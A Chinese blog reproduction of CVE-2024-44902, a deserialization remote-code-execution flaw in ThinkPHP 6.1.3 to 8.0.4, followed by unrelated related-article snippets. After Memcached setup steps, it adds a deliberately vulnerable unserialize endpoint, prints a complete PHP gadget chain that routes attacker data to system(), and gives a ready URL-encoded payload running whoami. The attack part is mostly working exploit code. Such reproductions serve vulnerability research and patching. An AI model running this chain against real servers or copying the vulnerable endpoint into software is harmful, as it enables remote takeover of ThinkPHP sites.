CVE-2024-44902 Thinkphp反序列化漏洞

news2024/9/24 8:39:10

Thinkphp v6.1.3至v8.0.4版本中存在反序列化漏洞,攻击者可利用此漏洞执行任意代码。

影响版本

v6.1.3 <= thinkphp <= v8.0.4

环境搭建

  • 环境:php8.0.2+thinkphp8.0.4+memcached3.2.0

首先搭建 thinkphp 环境:thinkPHP 8.0.4 安装_thinkphp8.0在哪下载-CSDN博客

要复现该漏洞,需确保你的Windows(或任何操作系统)上已经安装了Memcached服务器,并且PHP环境中也已经安装并启用了Memcached扩展。

安装Memcached服务器

  1. 下载Memcached软件:http://static.jyshare.com/download/memcached-1.4.5-amd64.zip
  2. 安装并启动 Memcached,执行如下,然后在任务栏中可见相关进程已启动
memcached.exe -d install
memcached.exe -d start

安装 PHP Memcached扩展

1. 下载PHP Memcached扩展:https://github.com/lifenglsf/php_memcached_dll

首先通过 phpinfo 查看 php 版本,NTS

由于是 php8.0 以及 NTS 所以选择如下

2. 下载后将php_memcached.dll 复制到对应 php 版本的 ext 目录中

3. 然后将 libmemcached.dll 复制到 c:\Windows 下

4. 在 php.ini 中添加一行配置,启用Memcached扩展

[Memcached]
extension=php_memcached.dll

配置ThinkPHP的缓存设置

最后需要在ThinkPHP的配置文件中设置默认的缓存驱动为Memcached

打开 config/cache.php,配置如下

<?php

  // +----------------------------------------------------------------------
  // | 缓存设置
  // +----------------------------------------------------------------------

  // config/cache.php  
  return [  
  // 默认缓存驱动  
  'default'     => 'memcached',  
  // 缓存连接方式配置  
  'stores'      => [  
  // Memcached缓存  
  'memcached' => [  
  // 驱动方式  
  'type'   => 'memcached',  
  // 服务器地址  
  'host'   => '127.0.0.1',  
  // 端口  
  'port'   => 11211,  
  // 持久连接  
  'persistent'    => false,  
  // 超时时间(单位:秒)  
  'timeout'       => 0,  
  // 前缀  
  'prefix'        => '',  
  // Memcached连接选项  
  'options'       => [],  
  // 权重(在多服务器配置时使用)  
  // 'weight'        => 100,  
  ],  
  // 这里可以配置其他缓存驱动  
  ],  
  ];

最后重启 thinkphp (php think run) ,通过 phpinfo,查看扩展是否正确加载

到这环境准备完成

漏洞复现

1. 首先,在app\controller\Index.php 中添加一个反序列化端点。因为这个漏洞只是提供了一条反系列化的链,而在实战中该反序列化的的入口点需要自己去找

<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        unserialize($_GET['x']);
        return '<style>*{ padding: 0; margin: 0; }</style><iframe src="https://www.thinkphp.cn/welcome?version=' . \think\facade\App::version() . '" width="100%" height="100%" frameborder="0" scrolling="auto"></iframe>';
    }

    public function hello($name = 'ThinkPHP8')
    {
        return 'hello,' . $name;
    }
}

2. 利用下面的payload生成序列化数据,将该文件放置到 tp\public 目录下

<?php
namespace think\cache\driver;
use think\model\Pivot;
class Memcached{
    protected $options=[];
    function __construct()
    {
        $this->options["username"]=new Pivot();
    }
}

namespace think\model;
use think\model;
class Pivot extends Model
{

}

namespace think;
abstract class Model{
    private $data = [];
    private $withAttr = [];
    protected $json = [];
    protected $jsonAssoc = true;
    function __construct()
    {
        $this->data["fru1ts"]=["C:\Windows\System32\whoami.exe"];
        $this->withAttr["fru1ts"]=["system"];
        $this->json=["fru1ts"];
    }
}

namespace think\route;
use think\DbManager;
class ResourceRegister
{
    protected $registered = false;
    protected $resource;
    function __construct()
    {
        $this->registered=false;
        $this->resource=new DbManager();
    }
}
namespace think;
use think\model\Pivot;
class DbManager
{
    protected $instance = [];
    protected $config = [];
    function __construct()
    {
        $this->config["connections"]=["getRule"=>["type"=>"\\think\\cache\\driver\\Memcached","username"=>new Pivot()]];
        $this->config["default"]="getRule";
    }
}

use think\route\ResourceRegister;
$r=new ResourceRegister();
echo urlencode(serialize($r));

3. 使用 payload 反序列化触发 rce

http://127.0.0.1:8000/?x=O%3A28%3A%22think%5Croute%5CResourceRegister%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00registered%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00resource%22%3BO%3A15%3A%22think%5CDbManager%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00instance%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A11%3A%22connections%22%3Ba%3A1%3A%7Bs%3A7%3A%22getRule%22%3Ba%3A2%3A%7Bs%3A4%3A%22type%22%3Bs%3A29%3A%22%5Cthink%5Ccache%5Cdriver%5CMemcached%22%3Bs%3A8%3A%22username%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A30%3A%22C%3A%5CWindows%5CSystem32%5Cwhoami.exe%22%3B%7D%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22fru1ts%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22fru1ts%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D%7D%7Ds%3A7%3A%22default%22%3Bs%3A7%3A%22getRule%22%3B%7D%7D%7D

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2159918.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SQL进阶技巧:如何利用if语句简化where或join中的条件 | if条件语句的优雅使用方法

目录 0 问题场景 1 数据准备 2 问题分析 2.1 需求一 2.2需求二 3 小结 想要进一步了解SQL这门艺术语言的&#xff0c;可以订阅我的专栏数字化建设通关指南&#xff0c;将在该专栏进行详细解析。 专栏 原价99&#xff0c;现在活动价39.9&#xff0c;按照阶梯式增长&…

EasyExcel将数据库里面的数据生成excel文件

EasyExcel官方文档 1.在model模块导入依赖 <!-- 生成报表--> <dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>4.0.3</version> </dependency> 2.修饰实体类 package…

Metasploit Pro 4.22.4-2024091601 发布下载,新增功能概览

Metasploit Pro 4.22.4-2024091601 (Linux, Windows) - 专业渗透测试框架 Rapid7 Penetration testing, release Sep 16, 2024 请访问原文链接&#xff1a;https://sysin.org/blog/metasploit-pro-4/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页…

保障电气安全的电气火灾监控系统主要组成有哪些?

电气火灾是什么&#xff1f; 电气火灾一般是指由于电气线路、用电设备、器具以及供配电设备出现故障性释放的热能&#xff1a;如高温、电弧、电火花以及非故障性释放的能量&#xff1b;如电热器具的炽热表面&#xff0c;在具备燃烧条件下引燃本体或其他可燃物而造成的火灾&…

速通汇编(七)BX、SI、DI寄存器,BP寄存器,直接寻址和间接寻址

下文中出现的"idata"&#xff0c;指的都是任意常量 一&#xff0c;基于BX、SI、DI等寄存器的寻址形式 在第五篇中曾介绍过DS寄存器的作用&#xff0c;简要复习一下->速通汇编&#xff08;五&#xff09;认识段地址与偏移地址&#xff0c;CS、IP寄存器和jmp指令&a…

oracle avg、count、max、min、sum、having、any、all、nvl的用法

组函数 having的使用 any的使用 all的使用 nvl 从执行结果来看&#xff0c;nvl(列名&#xff0c;默认值)&#xff0c;nvl的作用就是如果列名所在的这一行出现空则用默认值替换

3.2 USART 通用同步/异步收发器

文章目录 什么是USARTUSART框图 stm32的Usart串口收发配置初始化发送接收 重定向的几种方法串口发送数据包 什么是USART USART&#xff08;Universal Synchronous/Asynchronous Receiver/Transmitter&#xff09;通用同步/异步收发器USART是STM32内部集成的硬件外设&#xff0…

[Unity Demo]从零开始制作空洞骑士Hollow Knight第十集:制作后坐力系统Recoil和小骑士的生命系统和受伤系统

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、制作后坐力系统Recoil 1.使用代码实现扩展新的后坐力行为2.为敌人脚本添加后坐力行为3.为小骑士添加后坐力行为二、制作小骑士的生命系统和受伤系统 1.制作…

Appium独立测试自动化初始化脚本

1、查看环境初始化参数 确保appium已经开起来了&#xff0c;设置ip ,并点击启动 打开夜神模拟器&#xff0c;点击工具--设置 最下面的版本说明&#xff0c;双击进去 版本号这里再去单击。 直到进入到开发者模式。 可能我们不是开发者模式打开的状态&#xff0c;所以软件访问模…

fo-dicom是如何实现DICOM 的网络通信功能

一、前言 前面的文章&#xff0c;我们介绍了fo-dicom是一个怎样的开源库等一些内容&#xff1a; fo-dicom&#xff0c;第一个基于.NET Standard 2.0 开发的DICOM开源库fo-dicom开源库是如何满足 DICOM标准的基本要求fo-dicom开发之DICOM数据解析&#xff1a;常见数据类型及处…

自学前端的正确姿势是...

师傅带进门&#xff0c;修行在个人。 在前端自学成才的道路上&#xff0c;有些人走的很快&#xff0c;有些人却举步维艰。 为什么会这样子呢&#xff1f;因为他们没有掌握自学前端的正确姿势。 在介绍应该要怎样自学前端之前&#xff0c;首先来看下&#xff0c;自学前端容易…

JavaWeb--小白笔记07:servlet对表单数据的简单处理

这里的servlet对表单数据的处理是指使用IDEA创建web工程&#xff0c;再创建html和class文件进行连接&#xff0c;实现html创建一个表单网页&#xff0c;我们对网页中的表单进行填充&#xff0c;可以通过class文件得到网页我们填充的内容进行打印到控制台。 一登录系统页面---h…

[vulnhub] w1r3s.v1.0

https://www.vulnhub.com/entry/w1r3s-101,220/ 思路&#xff1a;红队笔记 主机发现端口扫描 使用nmap扫描网段类存活主机 因为靶机是我最后添加的&#xff0c;所以靶机IP是133 nmap -sP 192.168.75.0/24 // Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-20 09:09 CST…

MySQL 数据库安装(详细教程)

文章目录 一、前言二、下载 MySQL2.1 安装包方式2.2 压缩包方式&#xff08;推荐&#xff09; 三、安装 MySQL3.1 解压 MySQL 文件3.2 配置环境变量3.3 初始化 data 目录3.4 安装 MySQL 服务3.5 开启 MySQL 服务3.6 修改 MySQL 密码 四、卸载 MySQL4.1 停止 MySQL 服务4.2 删除…

MySQL record 08 part

数据库连接池&#xff1a; Java DataBase Connectivity&#xff08;Java语言连接数据库&#xff09; 答&#xff1a; 使用连接池能解决此问题&#xff0c; 连接池&#xff0c;自动分配连接对象&#xff0c;并对闲置的连接进行回收。 常用的数据库连接池&#xff1a; 建立数…

【WRF运行第三期】服务器上运行WRF模型(官网案例-Hurricane Matthew)

【WRF运行第三期】运行WRF模型&#xff08;官网案例-Hurricane Matthew&#xff09; 官网案例-Hurricane Matthew介绍0 创建DATA文件夹1 WPS预处理1.1 解压GRIB数据&#xff08;ungrib.exe&#xff09;1.1.1 解压GRIB数据---GFS&#xff08;Matthew案例研究数据&#xff09;1.1…

Bytebase 2.22.3 - 一键回滚 PostgreSQL DML 变更

&#x1f680; 新功能 支持一键回滚 PostgreSQL DML 变更。 &#x1f384; 改进 优化 DML 事前备份和回滚体验&#xff1a; 引导用户创建 bbdataarchive 数据库。如果没有 bbdataarchive 数据库&#xff0c;无法开启备份功。用户现在可以在创建工单之后开启或关闭备份功能&a…

PyCharm远程连接AutoDL服务器实现程序调试

本文详细介绍了如何在Pycharm中配置SSH和SFTP&#xff0c;以便于在AOTUDL服务器上进行代码修改、调试。步骤包括新建工程、配置SFTP连接、设置Rootpath和Mapping&#xff0c;以及实现自动上传和下载文件的功能。远程服务器编辑调试只是试用于专业版本的pycharm&#xff0c;我的…

【LLM学习之路】9月22日 第九天 自然语言处理

【LLM学习之路】9月22日 第九天 直接看Transformer 第一章 自然语言处理 自然语言处理发展史 只要看的足够多&#xff0c;未必需要理解语言 统计语言模型发展史 统计语言模型&#xff1a; 判断一个句子是否合理&#xff0c;就计算这个句子会出现的概率 缺点是句子越长越…

微软推迟在MDM设备上启用OOBE强制更新 因为IT管理员反馈称缺乏控制

微软很久之前就计划在 Windows 10/11 OOBE 期间强制下载更新&#xff0c;即若检测到系统本身属于旧版本例如并未安装最新累积更新&#xff0c;则在 OOBE 期间强制下载最新累积更新并自动安装。这种更新方式已经在面向消费者的设备上启用&#xff0c;而上周微软则是在适用于企业…